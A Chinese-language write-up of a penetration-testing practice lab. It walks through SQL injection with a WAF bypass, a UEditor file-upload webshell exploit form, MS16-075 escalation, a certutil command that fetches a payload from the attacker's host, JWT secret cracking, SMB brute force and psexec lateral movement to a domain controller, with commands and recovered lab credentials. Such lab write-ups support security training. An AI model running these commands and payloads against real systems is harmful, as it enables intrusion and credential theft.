暗月靶场-ack123

前言

  这套靶场非常的优秀,打完之后大呼过瘾,上头的感觉,就是有点累。在此过程中,学到了非常多的东西。靶场下载,提取码:7fkj,环境搭建视频

网络拓扑图

  

  我这里获取的ip如下

12server-web1192.168.22.128
192.168.59.128
12server-data1192.168.22.133
192.168.59.180
12server-web2192.168.22.132
10.10.10.138
12server-data210.10.10.136
16server-dc110.10.10.135

信息搜集

  nmap扫描192.168.59.128/12server-web1,信息如下

PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          Microsoft ftpd
80/tcp    open  http         Microsoft IIS httpd 8.5
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
999/tcp   open  http         Microsoft IIS httpd 8.5
3306/tcp  open  mysql        MySQL (unauthorized)
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
6588/tcp  open  http         Microsoft IIS httpd 8.5
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
49158/tcp open  msrpc        Microsoft Windows RPC
49160/tcp open  msrpc        Microsoft Windows RPC

  192.168.59.180/12server-data1,信息如下

PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp  open  ms-sql-s     Microsoft SQL Server 2012 11.00.3000; SP1
2383/tcp  open  ms-olap4?
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
49158/tcp open  msrpc        Microsoft Windows RPC

  这里获取到了web1,其中80,999,5985,6588,47001都是http协议 。启动了mysql。data1开放了80,mssql。
  其中999端口是phpmyadmin
  
  6588端口是护卫神管理面板
  
  访问web1:http://www.ackmoon.com/
  
  点击其他页面发现是aspx,扫描目录,获取到后台地址,http://www.ackmoon.com/admin/login.aspx ,注意这个HDHCMS大有用处,后面会讲!
  
  这里点击注册,提示存在admin用户
  
  

sql注入

  在http://www.ackmoon.com/search.aspx 发现存在sql注入,输入1 and 1 = 1,有waf拦截
  
  
  用burp抓到post包后,直接上sqlmap梭哈,python sqlmap.py -r a.txt -p DonforGjc --dbs
  
  获取到以下数据库

master
model
msdb
ReportServer
ReportServerTempDB
tempdb

  上面的数据库都是mssql默认的数据库,这个时候不要慌,有可能是sqlmap漏扫了。再次使用python sqlmap.py -r a.txt -p DonforGjc -current-db,查看当前数据库。当前数据库名为DemoHdhCms
  获取到数据库类型是mssql,但是web1开了mysql,并没有开启mssql。而data1开放了mssql。这里猜测是站库分离,意思是网站和数据库不在同一个服务器上。
  
  查看DemoHdhCms中的数据表,python sqlmap.py -r a.txt -p DonforGjc --tables -D DemoHdhCms,竟然啥都没获取到
  
  那就看看sqlmap的payload是啥,加入参数-v 3开启debug模式,python sqlmap.py -r a.txt -p DonforGjc --tables -D DemoHdhCms -v 3
  
  直接复制粘贴最后一个payload

1');IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(COUNT(name) AS NVARCHAR(4000)),CHAR(32)) FROM DemoHdhCms..sysobjects WHERE xtype=CHAR(85)),1,1))>9) WAITFOR DELAY '0:0:5'--

  将上面的payload手工注入,提示非法注入,原来是被waf拦截了。
  
  
  有了payload,测试一下是否是站库分离,使用1');if(host_name()=@@servername) WAITFOR DELAY '0:0:5';--,点击搜索后,没有延时5s。存在站库分离。
  
  继续前面的绕waf,测试发现只要大小写变换一下,即可绕过waf。比如将FROM变成FrOM,COUNT变成COuNt之类的。
  很幸运的是sqlmap内置有这个tamper脚本叫randomcase,使用python sqlmap.py -r a.txt -p DonforGjc --tables -D DemoHdhCms --tamper=randomcase -v 3
  
  可看到大小写已经成功变换,然后我就等了3个小时😑,终于出结果了……
  
  那么慢的原因是注入方式是延时注入,其实这里已经绕了弯路了。前面提到的HDHCMS,官网下载源码。在database\hdhcms.mdb 有数据库文件。
  
  并且还在根目录中的HdhApp.config,发现数据库连接用户名和密码
  
  本机没有sql server,如果就查看一个mdb数据库文件,我觉得也没必要去安装一个sql server。在网上找到了MDB Viewer Plus,使用此工具打开hdhcms.mdb
  
  发现用户名和密码在Onkey_DonforGlcy表中
  
  sqlmap得到用户名和密码python sqlmap.py -r a.txt -p DonforGjc --tamper=randomcase -D DemoHdhCms -T Onkey_DonforGlcy -C admin,pwd --dump
  
  解密得到:password-moon
  
  测试sqlmap使用--os-shell可直接得到shell,但因为是延时注入,输入cmd命令后,起码要10分钟后才有回显。直接获取到data1的shell,问题就是回显非常慢,所以我直接放弃了这个地方。
  

UEditor文件上传漏洞

  登录进后台,发现编辑器是百度Ueditor 1.4.3,这个爆发过文件上传漏洞
  
  先打开f12,再随便修改一个文章,获取到controller.ashx的地址为http://www.ackmoon.com/admin/net/controller.ashx?
  
  本地新建一个html文件,内容如下

<!DOCTYPE html>
<html>
	<body>
		<form action="http://www.ackmoon.com/admin/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST">
			<p>shell addr:<input style="width: 250px;" type="text" name="source[]" /></p>
			<input type="submit" value="Submit" />
		</form>
	</body>
</html>

  kali上使用service apache2 start开启apache服务,将aspx图片马上传到/var/www/html
  
  addr输入http://192.168.59.129/go.jpg?.aspx
  
  返回webshell地址为../../upfiles/image/20211018/6377018923424814118052578.aspx
  
  webshell全路径为:http://www.ackmoon.com/upfiles/image/20211018/6377018923424814118052578.aspx,蚁剑成功连接
  

MS16-075提权

  whoami后是个非常小的权限
  
  MS16-075即烂土豆提权,补丁编号为KB3164038。使用systeminfo | findstr 3164038,发现未打补丁。
  
  在线杀软识别,发现有360,其实应该还有一个护卫神的,不知道为什么没显示出来。
  
  遇到这种iis提权,可以使用PipePotato/BadPotato/SweetPotato/PrintSpoofer这些土豆一个一个去试。
  然后生成一个msf的免杀马,上传到web目录,执行后,获取到了一个session
  
  msf输入以下命令获取到了system权限

search ms16-075
use 1
set session 1
run

  
  它提示no session was created,输入sessions,其实已经获取到了session,如果run失败,多run几次即可。
  
  方便后渗透,将msf派生给cs。
  进行主机的信息搜集,获取到MySql用户密码数据表在C:\Hws.com\HwsHostMaster\phpweb\mysql\data\mysql\user.MYD,Mysql配置信息在C:\Hws.com\HwsHostMaster\phpweb\mysql\my.ini
  
  下载后查看user.MYD文件信息,获取到Mysql登录用户名为root,密码为md5加密后的值CCE243668A313A8BF5FAFAC782C44B4CE5AE44D9,随后我拿去解密,解密失败。
  
  继续搜集,下载C:\Hws.com\HwsHostMaster\主机大师使用说明.txt
  
  Mysql用户名:root,密码:HRy7B4m9zeE5iGdfZNsTp0pIPfE3YX。护卫神用户名:huweishen,密码:Hp_5n1olpp9EM7NG5
  
  后面尝试都是能登录成功的,我就不截图了。
  继续使用hashdump,获取管理员密码ntlm hash值为fbe5588a79e40d41d77a40569c7b3090,解密后明文为QWEasd.123
  

xp_cmdshell

  前面提到在HdhApp.config存放了mssql数据库的用户名和密码,位置在C:/Hws.com/HwsHostMaster/wwwroot/www.ackmoon.com/web/HdhApp.config
  得到用户名:sa 密码:pass123@.com,数据库ip:192.168.22.133
  
  输入命令java -jar MDUT.jar,打开MDUT,进行连接。为这个项目的作者点赞!!!我心目中的数据库连接工具
  在激活xpcmdshell组件后,查看进程
  
  存在火绒
  
  whoami得到nt service\mssqlserver 这个权限也不高。需要反弹msf或者cs进行后渗透
  使用certutil | certutil –urlcache –f –split http://192.168.59.129/HanzoInjection.exe C:\Users\MSSQLSERVER\HanzoInjection.exe 绕火绒进行远程下载
  
  马儿成功下载
  
  上线msf
  
  使用ms16-075,再次提权成功
  

JWT token破解

  web1和data1已经拿下,接下来拿web2
  这部分真的完全走了一个大大的弯路。也提醒各位信息搜集的重要性
  kali ip是:192.168.59.129,而web2 ip是:192.168.22.132,这里我就搞不懂为啥能ping通
  nmap web2扫描结果

25/tcp    open     smtp?
80/tcp    open     http               Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02)
110/tcp   open     tcpwrapped
135/tcp   open     msrpc              Microsoft Windows RPC
139/tcp   open     netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open     microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
514/tcp   filtered shell
3306/tcp  open     mysql              MySQL (unauthorized)
3389/tcp  open     ssl/ms-wbt-server?
4444/tcp  open     tcpwrapped
5985/tcp  open     http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp open     http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp open     msrpc              Microsoft Windows RPC
49153/tcp open     msrpc              Microsoft Windows RPC
49154/tcp open     msrpc              Microsoft Windows RPC
49155/tcp open     msrpc              Microsoft Windows RPC
49156/tcp open     msrpc              Microsoft Windows RPC
49157/tcp open     msrpc              Microsoft Windows RPC
49158/tcp open     msrpc              Microsoft Windows RPC
49160/tcp open     msrpc              Microsoft Windows RPC

  访问80网页,注意看网页标题演示:JWT实战:使用axios+PHP实现登录认证,后面用处大着呢
  
  使用demo用户,登录进去后,没啥特别的东西
  
  测了测sql注入,也没有,在深入了解Json Web Token之实战篇。我感觉可能是jwt token破解之类的东西
  输入demo demo,点击登录后,使用burp抓包,获取到token为

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC8xMC4xMC4xLjEzNSIsImF1ZCI6Imh0dHA6XC9cLzEwLjEwLjEuMTM1IiwiaWF0IjoxNjM0NjQ0NjAyLCJuYmYiOjE2MzQ2NDQ2MTIsImV4cCI6MTYzNDY0NTIwMiwiZGF0YSI6eyJ1c2VyaWQiOjEsInVzZXJuYW1lIjoiZGVtbyJ9fQ.nGspRCVcsykjjRqTSAzGVBVYoesVRdlyycVywrrA8qg

  
  来到jwt.io,将上面的token复制粘贴后,可以查看解密后的内容。
  红箭头是需要输入密钥的地方,如果直接将 “username”: “demo”改成 “username”: “admin”的话,密钥不对,哈希就会认证失败。
  光标移到exp会给出一段信息,这个是token过期时间。可以手动修改exp让过期时间延长
  
  使用JWT TOOL爆破密钥,rockyou字典是kali自带的在/usr/share/wordlists/rockyou.txt.gz

python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC8xMC4xMC4xLjEzNSIsImF1ZCI6Imh0dHA6XC9cLzEwLjEwLjEuMTM1IiwiaWF0IjoxNjM0NjQ0NjAyLCJuYmYiOjE2MzQ2NDQ2MTIsImV4cCI6MTYzNDY0NTIwMiwiZGF0YSI6eyJ1c2VyaWQiOjEsInVzZXJuYW1lIjoiZGVtbyJ9fQ.nGspRCVcsykjjRqTSAzGVBVYoesVRdlyycVywrrA8qg -C -d /root/rockyou.txt

  
  破解密钥为Qweasdzxc5。来到解密网站,输入密钥,为了延长密钥时间我将”exp”: 1634645202,改为”exp”: 1734645202。
  
  将加密结果替换进burp后,放包,得到下面结果我人都傻了。这不就是将demo换成了admin嘛,啥也没有啊
  
  在里面测试了各种sql参数,还是不行,又在网上找到了JWT实战:使用axios+PHP实现登录认证源码。查看源码也没有啥东西,这个地方果断放弃。早搞信息搜集,就没有这段内容了。。。就当学习一个新知识了吧。

爆破webshell密码

  使用御剑扫出这点信息,其中打开1.php和c.php都是空白页面
  
  
  发现a.php是phpinfo信息,获取到mysql用户名为root,有网站物理路径了,也不能上传webshell
  
  这时我陷入了沉思,设计这个靶场的人,就扫到了3个php,其中2个打开还是空白页面。我就觉得离谱,有没有一种可能就是1.php或者c.php是webshell啊。使用K8_FuckOneShell,搭配Dictionary-Of-Pentesting字典。如果你要使用Dictionary-Of-Pentesting里的txt文件。需要把txt复制到K8_FuckOneShell\pass.txt
  成功 爆破出http://192.168.22.132/1.php,一句话密码为cmd,真的有趣有趣
  
   蚁剑连上去查看,这不是还有一个phpMyAdmin4.8.5路径嘛,这御剑没扫出来。侧面说明平时不注重搜集字典。
   
   使用root Qweasdzxc5能成功登录phpmyadmin,别忘了这个Qweasdzxc5是前面jwt token破解出来的密码。估计很多人走的这条线。可恶,要是我扫描出来了目录,我也选择走这条线。爆破webshell密码,想到这个的时候,已经浪费了很多时间。
   
   whoami是nt authority\system, 无杀软,但是无法出网,而kali能ping通。
   

不出网上线cs

  让web1作为跳板机,web2连接web1,web1将流量转发给cs
  web1上会监听4444端口
  
  生成cs木马,选择Windows Executable (Stageless)
  
  将木马上传到web2,运行马子即可上线cs
  

域渗透

  存在域:ack123.com
  
  域管理员为:Administrator
  
  内网主机探测发现data2和dc1
  
  使用哈希传递攻击失败
  
  探测开放了445,135,139等端口,这里我就只贴出了445端口的扫描结果
  
  我想将cs的不出网主机派生给msf,但试了很多方法,都没有成功。哎,还是菜了。换个思路,想用msf去进行内网渗透,发现可以用cs的代理功能。这里重点感谢下snowming的文章
  在web2上开启socks 1080代理
  
  点击Proxy Privots下的Tunnel,复制生成的MSF 代理链接
  
  msf输入以下命令,即可走cs的隧道

setg Proxies socks4:192.168.59.129:1080
setg ReverseAllowProxy true

  使用auxiliary/scanner/smb/smb_ms17_010,10.10.10.135(dc1)可以利用
  
  打过去,卡在这里了
  
  一看靶机,蓝屏了
  
  使用exploit/windows/smb/ms17_010_psexec,还是利用失败。上CVE-2020-1472
  待验证 待验证
  最后一条路了,爆破smb密码

use auxiliary/scanner/smb/smb_login
set rhosts 10.10.10.136
set threads 50
set smbuser administrator
set smbdomain ack123.com
set pass_file /root/JCPasswd.txt

  密码为:P@55w0rd!
  
  这个时候就可以使用psexec了,新建一个Listeners选择smb类型
  
  选择目标后,右键jump->psexec
  
  批量上线
  
  
  这里的psexec我试了很多遍才成功,如果你没有成功,可以试试下面的方法。前提得到了administrator账号。
  和上面一样,新建一个Listeners选择smb类型,到web2使用shell net use \\10.10.10.135\c$ /user:"administrator" "P@55w0rd!"。现在可以查看c盘内容了
  
  jump psexec64 10.10.10.135 smb,横向建立 SMB Beacon,其中smb是smb协议监听器的名称
  
  图中只有三台机子,原因是我为了成功演示,我把靶机全部重启,以防有缓存凭据。

感谢文章和工具

MDB Viewer Plus
UEditor 1.4.3 任意文件上传getshell
MDUT
mysql数据库一些常见的系统配置文件路径
深入了解Json Web Token之实战篇
jwt.io
JWT TOOL
Hacker Tools - JWT Tool
K8_FuckOneShell
Dictionary-Of-Pentesting
cobalt strike正向反向连接内网
Cobalt Strike & MetaSploit 联动
CS 4.0 SMB Beacon

查看评论 -
评论